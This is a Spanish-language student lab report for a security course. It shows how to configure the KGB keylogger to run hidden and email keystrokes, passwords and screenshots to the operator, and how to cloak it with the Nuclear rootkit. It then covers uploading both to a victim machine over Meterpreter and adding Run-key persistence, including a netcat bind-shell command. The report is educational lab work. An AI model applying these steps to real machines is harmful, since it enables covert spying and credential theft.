## Alumno: Christian Valdespin Bautista

Maestría en Ingeniería en Seguridad y Tecnologías de la Información.

Materia: Servicios de Seguridad en Sistemas Operativos Multiusuario.

Profesor: M. en C. Marcos Arturo Rosales García.

Actividad: Keylogger.

**Reporte de Actividades:** 

- 1. Instalar y configurar el Keylogger KGB.
- 2. Encubrir con el rootkit Nuclear
- 3. Vía remota instalarlo

## **Punto numero 1**

Ya una vez instalado nuestro keylogger KGB procedemos con la configuración del mismo

• Una vez iniciado el programa comenzamos con la configuración y seleccionamos la opción de "Supervisar todos los usuarios" y se presiona el botón de continuar.

Bienvenido al Asistente para configuración. No se recomienda limpiar la casilla de verificación "Supervisar todos los usuarios". Pero si no desea que el registrador de teclado le supervise, puede limpiar la casilla de verificación "Supervisar todos los usuarios". En la siguiente página podrá seleccionar los usuarios que desea supervisar.
✓ Supervisar todos los usuarios Para continuar haga clic en siguiente
< Volver Siguiente > Cancelar

• Seleccionamos todas las opciones y se presiona el botón de continuar.



- Colocamos nuestros datos de correo para que sea enviada la información del equipo atacado en un principio se coloca que envía cada minuto o cada cinco pero en ambientes reales es recomendado cada 90 minutos, se presiona el botón de continuar.
  - Nota: se intentó configurar con gmail, Hotmail y live sin obtener éxito, y después de buscar en varios foros se encontró que el servidor de correo con el que funciona es yahoo.
  - Se configuro Outlook como se indicaba en algunos foros para usar la opción de "Usar SMTP predeterminado" y tampoco se obtuvo éxito, pese a que con el Outlook si se podían enviar y recibir mensajes.

Asistente	
¿Está seguro de que des correo electrónico?	ea recibir el archivo de registro por 🔎
🗹 Enviar cada	1 🗘 minutos
Correo electrónico	valdespin@yahoo.com
Asunto	pruebas
	Usar SMTP predeterminado
Remitente	valdespin@yahoo.com
Servidor SMTP	smtp.mail.yahoo.com
Puerto	587
Cuenta	valdespin
Contraseña	And a state of the
Tipo del registro	HTML Prueba
	<ul> <li>Volver</li> <li>Siguiente &gt;</li> <li>Cancelar</li> </ul>

• Verificamos nuestra bandeja de entrada del correo y observamos el siguiente correo.

➡ <b>Buzón (1381)</b> ■ Borrador (1)		Ver: To	dos   De contactos   De amigos   No le	ídos   Marcados	1-45 mensajes de 45 Primeros   Anteriore	s   Siguiente	es   Últimos
🗣 Enviados		Elimina	r Marcar <del>-</del> Mover				
<sup>©</sup> Spam (45)	[Vaciar]	•	De	Asunto		Fecha	🔍 Tama
🛱 Papelera	[Vaciar]	•	valdespin@yahoo.com	KGB Keylogger	r - Mensaje de texto	17:33	4KB

Carpetas Buzón (1381)		KGB Keylogger - Mensaje de texto     miércoles, 13 de octubre de 2010, 17:33       De: "valdespin@yahoo.com" <valdespin@yahoo.com< td="">     )       Para: valdespin@yahoo.com     )</valdespin@yahoo.com<>
Rorrador (1)		
🗣 Enviados		Si puede leer este mensaje, ha configurado correctamente la función de correo electrónico
🗟 Spam (44)	[Vaciar]	
Papelera	[Vaciar]	DO YOU YANOO!? Tired of spam? Yahoo! Mail has the best spam protection around
Mic fotos		http://mail.yahoo.com

• Seleccionamos todas las opciones y se presiona el botón de continuar.

Asistente	
Invisibilidad	
Ocultar en todas partes	
Hide icon from tray	
✓ Ocultar el programa utilizando Ctrl+Alt+Supr	
✓ Quitar el acceso directo del ESCRITORIO	
✓ Quitar el acceso directo del MENÚ INICIO	
< Volver Sig	guiente > Cancelar

• Seleccionamos todas las opciones y se presiona el botón de continuar.



• Agregamos otras opciones para ser más detallado el reporte



🖃 📲 Usuarios	Capturas de pantalia
🖃 🌄 Administrador (6*/70)	
Pulsaciones de teclas (1*/10)	V Hacer capturas de pantalia cada 5 🗘 minutos 🗸
Capturas de pantalla (0*/8)	✓ Hacer captusas de pantalla cada vez que se abra una ventana mena.
	Tipos de capturas de los
Portapapeles (0*/3)	pantalia Ventana activa
Sitios Web visitados (5*/27)	
	Calidad de capturas de pantalla
	Mín Máx
🖃 🎤 Configuración	
	Aplear
Pulsaciones de teclas	
Capturas de pantalla	Configuraciones de Monitoreo de Pantalla
Portapapeles	En esta página puede ajustar las configuraciones de monitoreo de pantalla para todos los usuarios.
	Para habilitar la captura de pantalla de los usuarios:
	1. Other in the matrix descent is the entropy of the second s
Chat / IM Activity	Seleccione las opciones necesarias de capitura de partalia.     Pulse Aplicar para aplicar los cambios.
🔁 Tamaño del registro	Les significates projettes de anguarten disposibles:
	Las sigurentes opciones se encodentrali disponibles.
Contraseña	<ul> <li>Capturar fotos de pantalla cada minutos - define que tan seguido el programa hará una captura de la pantalla del usuario.</li> <li>Tomar una cantura cunado una nueva ventana se abre, a babita la captura de la natalla cada vez que el usuario, abre una nueva ventana</li> </ul>
Entrega	<ul> <li>Tomar una capitaria camara vana necesi ventanta se una e industria la capitala de la panatala cada tez que el oscian tez que el osciante ana necesi ventanta.</li> <li>Tipos de capitaria - define si lo que se capitariará será la pantalifa completa o la ventana activa.</li> </ul>
Alertas	<ul> <li>Calidad de la captura - Establece la calidad de las capturas de pantalla. Tome el deslizador y arrástrelo entre Min y Max para establece ra calidad deseada. Para más porcinese nulsea en la hotón L correra del desirador Calidad.</li> </ul>
	opciones, puise en el bolon [] cerca del desizador candad.
- G Actualizaciones	Vea también:
•	Configuraciones de Monitoreo de Internet.
E Sua	nos Mandar el registro por correo electrónico o FTP



- Comenzamos a ver las capturas de pantallas, urls, teclado, etc
  - **Nota**: podemos observar lo introducido en por medio del teclado como paginas visitadas usuarios, contraseñas, etc.

🖃 👷 Usuarios	Fechas y hora	Tipo de evento	Aplicación	Título de ventana	
👘 🤊 Administration (CAMPA)				✓	*
Administrador (64-764)	13/10/2010 0:51:51	Pulsaciones de te	O Internet Explorer		
🖃 🎾 Configuración	13/10/2010 0:51:19	🛛 😔 Sitios Web visitados	: 🥭 Internet Explorer	Correo Evolution con Live (Hotmail), Gmail y Yahoo « BanPe: The Blog - Microsoft Interne	st Explorer
Perintro	13/10/2010 0:51:10	😔 Sitios Web visitados	: 🥭 Internet Explorer	servidor smtp de windows live - Bing - Microsoft Internet Explorer	
E riegisto	13/10/2010 0:50:47	🛛 😜 Sitios Web visitados	🥘 Internet Explorer	Servidor SMTP y POP3 de Hotmail y Windows Live - Microsoft Internet Explorer	
Pulsaciones de teclas	13/10/2010 0:50:25	😡 Sitios Web visitados	a 😂 Internet Explorer	Envío de correo electrónico por el servidor SMTP de Windows Live Hotmail :: PortalFox :	: Nada c - Microsoft Internet
Capturas de pantalla	13/10/2010 0:50:20	😡 Sitios Web visitados	🥭 Internet Explorer	servidor smtp de windows live - Bing - Microsoft Internet Explorer	
	13/10/2010 0:47:55	💷 Pulsaciones de te	🥭 Internet Explorer	servidor smtp de google - Bing - Microsoft Internet Explorer	
Actividad de programas	13/10/2010 0:47:34	😡 Sitios Web visitados	🥭 Internet Explorer	Cual es el Servidor SMTP de Gmail, login y contraseña de mi empresa - Ayuda de Gmail -	Microsoft Internet Explorer
Portapapeles	13/10/2010 0:47:08	😡 Sitios Web visitados	🥭 Internet Explorer	Envío de correo electrónico por el servidor SMTP de Gmail :: PortaFox :: Nada corre con	no un zo - Microsoft Internet
	13/10/2010 0:47:01	Sitios Web visitados	🥘 Internet Explorer	servidor smtp de gmail - Bing - Microsoft Internet Explorer	
Sitios Web visitados	13/10/2010 0:46:34	😡 Sitios Web visitados	🥘 Internet Explorer	Dudas Servidor de correo en IP dinamica/SMTP de Google [SOLUCIONADO] - Microsoft	Internet Explorer
- E. Actividad del equipo	13/10/2010 0:46:26	Sitios Web visitados	🦲 Internet Explorer	servidor smtp de google - Bing - Microsoft Internet Explorer	
Chast (1b) Activity	13/10/2010 0:46:14	Sitios Web visitados	🥘 Internet Explorer	Hotmail, Messenger, Noticias, Deportes, Música, Cine, Dinero, Motor, Compras en MSN E	spaña - Microsoft Internet E
Chars in Activity	13/10/2010 0:46:10	📑 Actividad de progr	Internet Explorer		
] 🚄 Tamaño del registro					
Invisibilidad		() 13/10/20	)10 0:51:51		
		🦂 Internet E	xplorer - C: VArchivos de p	programa\Internet Explorer\iexplore.exe	C
Contraseña	Pulsasianas da tas	una 🖬 Claves: 1	8 caracteres		_
Entrega	Fuisaciones de tet				
A	windows live				
Alertas	.com.mx				



🖃 🧟 Usuario

0

En esta captura podemos observar el usuario y la contraseña.



• Observamos el reporte que envía nuestro keylogger.



## Punto numero 2

• Una vez descargado el rootkit nuclear procedemos a instalarlo y a ejecutarlo.

Nuclear F	Rootkit 1.0 l	by Princeal	li			_		-×
Processes	Files/Dirs	Registry	Ports	Modules	Application Block	Connecti	on Block	Persistence
Create			Manual		Check for Roo	tkat		About

- En la configuración empezamos a buscar los procesos asociados a nuestro keylogger.
- Posteriormente seleccionaremos el botón de "create".
- Colocamos el nombre de nuestro proceso a ocultar.

Aplicaciones Procesos	Rendimiento Funcio	nes de	red Usuarios			Informe 🛃 📄 🎻 🖃 🔍
-						
Nombre de imagen	Nombre de usuario	CPU	Uso de	^		
Editor.exe	Administrador	00	5.492 KB			
msmsgs.exe	Administrador	00	4.812 KB			
IEXPLORE.EXE	Administrador	00	30.816 KB			
MPKView.exe	Administrador	00	15.668 KB			
VMUpgradeHelper	SYSTEM	00	3.704 KB			
vmtoolsd.exe	SYSTEM	00	8.272 KB			
taskmgr.exe	Administrador	02	4.796 KB			(a) ( ( 1) ( ( 1) ( ( 2) ( ( 13) ( ( 14) ( ( 15) ( ( 16) ( ( 17) ( ( 18))
TPAutoConnect.exe	Administrador	00	4.740 KB			
spoolsv.exe	SYSTEM	00	6.260 KB			
ctfmon.exe	Administrador	00	3.288 KB			
VMwareUser.exe	Administrador	00	12.660 KB	-		
VMwareTray.exe	Administrador	00	4.960 KB			Nuclear Rootkit 1.0 by Princeali
svchost.exe	SERVICIO LOCAL	00	4.308 KB			
wscntfy.exe	Administrador	00	2.488 KB			ocesses Files/Dirs Rootkit File Name x ption Block Persistence
svchost.exe	Servicio de red	00	3.092 KB			
explorer.exe	Administrador	02	20.664 KB			
svchost.exe	SYSTEM	00	16.112 KB			Enter the Bootkit Installation File Name Ex(Bootkit exe)
wordpad.exe	Administrador	00	5.820 KB			
sychost.exe	Servicio de red	00	3.920 KB	×		MPKView.exe
Mostrar procesos d	e todos los usuarios		Terminar pro			
			- reminar pro			
L					_	OK Cassal
Procesor: 20 Lico de	CPUL 4% Carr	an de br	angaggionagi 2	6.254		UK Cancel
Procesos: 30 Uso de	CPU: 4% Car	ya ue u	ansacciones: 2	52191	;;	
				- 11		
Ports						
Hide con	nnections on /	tho	ugh any p	ort		
Hint : .	Add Ports and	Prot	ocols , f	or 📗		
Para obtener A	vuda, presione F1				-	
			1	-1		Lireate Manual Check for Rootkit About

• Tecleamos el proceso con el que lo vamos a asociar o a ocultar

Administrador de la Archeo Opcones Ver A Adicaciones Procesos R Nombre de inagen P Editor-exe manoga-selar telefonieur-exe vellupo-administratione vellupo-administ	tracas         de Windows           spagor         Avude           kombre de usuario         CPU           drainsitrador         06           drainsitrador         06           drainsitrador         06           drainsitrador         06           varianti ador         00           drainsitrador         00           varianti ador         00	Lisuarios Uso de A 5 509 kg 5 500 k	Informe         Image: Second sec
Verned. non Mostrar procesos de t Procesos: 30 Uso de C Protesos: Hide conn Hint : Ad	PU: 11% Carga de tr PU: 11% Carga de tr Mections on / tho	ansacciones: 262M ugh any port ocols , for	OK Cancel
Para obtener Ayu	da, presione F1		Create Manual Check for Rootkit About

• Windows nos manda una advertencia



• Finalmente quedo hecho el proceso falso



• Con la herramienta abrimos el programa que creo para emular los procesos.

Abrir					? 🛛	
Buscar en:	📄 nki	10	•	+ 🗈 💣 🛛		
Documentos reciertes Escritorio Mis documentos Mi PC	samp	Jescript.nef				onnection Block Periitence
Mis sitios de red	Nombre:	samplescript		1	• Abrir	
	Tipo:	Nuclear Rootkit Sc	rript (*.nsf)		Cancelar	
						_
		Create	Manu	ıal	Check for Rootkit	About

- Observamos los procesos con los que se ocultó nuestro programa.
  - **Nota**: el proceso de Firefox es para ocultar el nuclear.

Nuclear I	Rootkit 1.0 l	oy Princeal	i				-×
Processes	Files/Dirs	Registry	Ports	Modules	Application Block	Connection Block	Persistence
notepad.exe	firefox.exe						
Create	•		Manual		Check for Roo	tkit	About

• En estas imágenes podemos observar algunas características de nuestro programa oculto.



Nuclear F	tootkit 1.0	by Princea	li				-×
Processes	Files/Dirs	Registry	Ports	Modules	Application Block	Connection Block	Persistence
1	1						
run	systemstartu	dı.					
Create			Manual		Check for Roo	tkit	About



🕥 Nuclear R	lootkit 1.0 l	oy Princeal	i						-×
Processes	Files/Dirs	Registry	Ports	Modules	Application E	Block	Connection B	lock	Persistence
Process Name			DLL N	ame					
Notepad	exe		user32	.dl					
Cmd.exe			ntdil.di						
Create			Manual		Check f	or Rootk	it 🗌	A	.bout





Nuclear R	tootkit 1.0 b	y Princeal		_			-*
Processes	Files/Dirs	Registry	Ports	Modules	Application Block	Connection Block	Persistence
8	8						
deleterne.exe	pwned.exe						
		_			(		
Create			Manual		Check for Roo	tkit	About

## **Punto numero 3**

- Ocupamos la puerta trasera creada en la práctica anterior para subir los archivos al servidor que es nuestra víctima (192.168.1.105).
  - Nota los archivos que subimos fueron creados con la opción del keylogger en el menú "Archivo" → "Crear Instalador"

meterpreter > u	pload c:\\kgb c:\\
uploading	: c:\kgb/key.bin -> c:\\key.bin
uploaded	: c:\kgb/key.bin -> c:\\key.bin
[*] uploading	: c:\kgb/logstart.vbs -> c:\\logstart.vbs
[*] uploaded	: c:\kgb/logstart.vbs -> c:\\logstart.vbs
[*] uploading	: c:\kgb/loguninstall.vbs -> c:\\loguninstall.vbs
[*] uploaded	: c:\kgb/loguninstall.vbs -> c:\\loguninstall.vbs
uploading	: c:\kgb/MpkNetInstall.exe -> c:\\MpkNetInstall.exe
uploaded	: c:\kgb/MpkNetInstall.exe -> c:\\MpkNetInstall.exe
uploading	: c:\kgb/settings.bin -> c:\\settings.bin
uploaded	: c:\kgb/settings.bin -> c:\\settings.bin
<pre>meterpreter &gt;</pre>	

• Comprobamos y nuestros archivos ya fueron subidos.

😂 C:\						
<u>File Edit View Favo</u>	rites <u>T</u> ools	Help				
🔇 Back 🔹 🕥 👻 🏂	🔎 Search 🛛	诊 Folders   🕼 沙 🗙 🍤   🖪				
Address 🥯 C:\						- 🔁
Folders	×	Name 🔺	Size	Туре	Date Modified	Attribu
Deskton		Cocuments and Settings		File Folder	10/6/2010 11:50 PM	
My Documents		C Program Files		File Folder	10/6/2010 11:54 PM	R
E My Computer		C WINDOWS		File Folder	10/10/2010 11:39 PM	
E 4 316 Elonny (A:	) I	Cowmpub		File Folder	10/6/2010 11:41 PM	
E Set oral Disk (C)		🖬 key.bin	1 KB	BIN File	10/13/2010 9:15 AM	A
T C Documents	and Settings	📓 logstart.vbs	1 KB	VBScript Script File	10/13/2010 9:15 AM	Α
🗄 🔂 Program Fi	ec	📓 loguninstall.vbs	1 KB	VBScript Script File	10/13/2010 9:15 AM	A
E C WINDOWS		B MpkNetInstall.exe	5,173 KB	Application	10/13/2010 9:15 AM	А
E C wmpub		settings.bin	4 KB	BIN File	10/13/2010 9:15 AM	A

• Ahora subimos el nuclear

_			the second se
met	erpreter >	up	load c:\\nkit10 c:\\
121	uploading		c:\nkit10/Editor.exe -> c:\\Editor.exe
121	uploaded		c:\nkit10/Editor.exe -> c:\\Editor.exe
121	uploading		c:\nkit10/kgb.nsf -> c:\\kgb.nsf
(*)	uploaded		c:\nkit10/kgb.nsf -> c:\\kgb.nsf
121	uploading		c:\nkit10/readme.rtf -> c:\\readme.rtf
1.0	uploaded		c:\nkit10/readme.rtf -> c:\\readme.rtf
1.0	uploading		c:\nkit10/rootkit.exe -> c:\\rootkit.exe
100	uploaded		c:\nkit10/rootkit.exe -> c:\\rootkit.exe
	uploading		c:\nkit10/samplescript.nsf -> c:\\samplescript.nsf
	uploaded		c:\nkit10/samplescript.nsf -> c:\\samplescript.nsf
	uploading		c:\nkit10/stub.dat -> c:\\stub.dat
121	uploaded		c:\nkit10/stub.dat -> c:\\stub.dat
(*)	uploading		c:\nkit10/upx.exe -> c:\\upx.exe
121	uploaded		c:\nkit10/upx.exe -> c:\\upx.exe
met	erpreter >		

• Creamos unas llaves de registro para que ejecute el nuclear y el KGB al iniar.



• En prácticas anteriores creamos un usuario y habilitamos el escritorio remoto, así que lo utilizaremos para instalar los programas

Ejecuta	· ? 🛛
-	Escriba el nombre del programa, carpeta, documento o recurso de Internet que desea que Windows abra.
Abrir:	mstsc -console
	Aceptar Cancelar Examinar

• Tecleamos la ip del servidor victima (192.168.1.105)

😻 Conexión	a Escritorio remoto 📃 🗖 🗙
	Escritorio remoto Conexión
<u>E</u> quipo:	192.168.1.105  Cancelar Ayuda Opciones >>
	192168:1.105
Log On to W	indows
	Windows Server 2003
Copyright @ 1985	-2003 Microsoft Corporation Microsoft
User name:	misticvb
Password:	••••••
	OK Cancel Options >>

• Vemos el registro

🕯 Registry Editor				
Eile Edit View Favorites Help				
		Name	Туре	Data
🛄 RunOnce		(Default)	REG_SZ	(value not set)
Edit String			? × <sup>2</sup>	"C:\MpkNetInstall.exe"
Value pame:			2	"C:\\Windows\System32\nc.exe -L -d -e cmd.exe -p 1234" "C:\\seatlik eve"
lande -			Ę	"C \Program Files\\/Mware\\/Mware Tools\\/MwareTray eye"
Ikeylog			Ē	"C:\Program Files\VMware\VMware Tools\VMwareUser.exe"
⊻alue data:			ſ	
"C:\logstart.vbs"				
	Г	01		
	L		Lancel	
e inemes				
🗈 🛄 Uninstall				
URL				
H Windows Indate				
ITStorage				
🧰 Shell				
🗷 🚞 Windows Media Device Manager	_			
Windows Messaging Subsystem				
H - Windows NI				
H- WICOWS Junperhose				
D DBC				
🖻 🧰 Policies	_			
	•			
y Computer\HKEY_LOCAL_MACHINE\SOFTWA	RE\/Micro	isoft\Windows\Cum	entVersion\Run	

- Instalamos y configuramos como se explicó en el paso 1
- Configuramos que solo queremos monitorear al usuario administrador y no al nuestro.
- Dejamos que el programa haga lo suyo y nosotros nada más checamos nuestro correo.

	- 🙊 CVB-4DV1DMEE3FK	Fechas y hora	Tipo de evento	Aplicación	T ítulo de ventana	
1	Administrator (23°/23)	10/13/2010 11:06:20 .	. 🖵 Actividad del equipo	Apagar	<u> </u>	
	Pulsaciones de teclas (7*/7)	10/13/2010 11:06:20 .	. 💷 Pulsaciones de te	🐞 Microsoft Management Console	Select Users\Name Not Found	
	Capturas de pantalla (4"/4)	10/13/2010 11:06:14 . 10/13/2010 11:06:02 .	💳 Actividad de progr 💳 Actividad de progr	Run a DLL as an App Run a DLL as an App		
		10/13/2010 11:05:56 .	菅 Actividad de progr	🐞 Microsoft Management Console		
		10/13/2010 11:05:49.	. 💽 Capturas de pantalla	Microsoft Management Console	Select Users	
	Sitios Web visitados (0*/0)	10/13/2010 11:05:30 .	🕮 Pulsaciones de te	Microsoft Management Console	Select Groups	
		10/13/2010 11:05:08 .	💷 Pulsaciones de te	🏠 Microsoft Management Console	Select Groups\Name Not Found	
		10/13/2010 11:04:57 . 10/13/2010 11:04:50 .	💷 Pulsaciones de te 💷 Pulsaciones de te	Console Microsoft Management Console	Select Groups Computer Management/New User	
	- 🔜 MISTICVB (42*/42)	10/13/2010 11:04:49.	. 💽 Capturas de pantall	Microsoft Management Console	Select Groups	
Į.	Pulsaciones de teclas (1*/1)	10/13/2010 11:03:56 .	🕮 Pulsaciones de te	💡 Windows Explorer	Run	-
	Capturas de pantalla (0*/0)		10/13/20     10/13/20	I10 11:06:20 AM		
			📭 Apagar			
-	Portapapeles (1*/1)	Actividad del equi	po			
	Sitios Web visitados (0*/0)	Apagar				
	Chat / IM Activity (0º/0)					

Correo Contacto	s Agenda	Bloc	de notas		<u>¿Qué hay de nuevo?</u> - <u>Correo Móvil</u> - O	pciones <del>v</del>		
Revisar correo Nuevo	•	Q	Búsqu	ieda de correo	Prueba el nuevo Corre	eo Yahoo!		
iPregúntalo!		Buzón	3uzón					
Encuentra respuestas		Ver. Todos	De contactos   De amigos	No leídos   Marcados	1-200 mensajes de 1414 Primeros   Anteriores   Siguien	tes   <u>Últimos</u>		
Carpetas		Eliminar	Spam Marcar - Mov	ver 🔻				
🛱 Buzón (1379)			De	Asunto	Fecha	🖃 Tamaño		
Rorrador (1)		•	valdespin@yahoo.com	Log	03:03	140KB		
- Enviados	[Marrison]	•	valdespin@yahoo.com	Log	02:59	21KB		
🌍 Spam (18)	[Vaciar]	•	valdespin@yahoo.com	Log	02:30	530KB		
	[Vaciar]	•	valdespin@yahoo.com	🖉 pruebas	mié, 13-oct-10	0 752KB		
Mis fotos			valdespin@yahoo.com	KGB Keylogger - Mensaje de t	texto mié, 13-oct-10	) 4KB		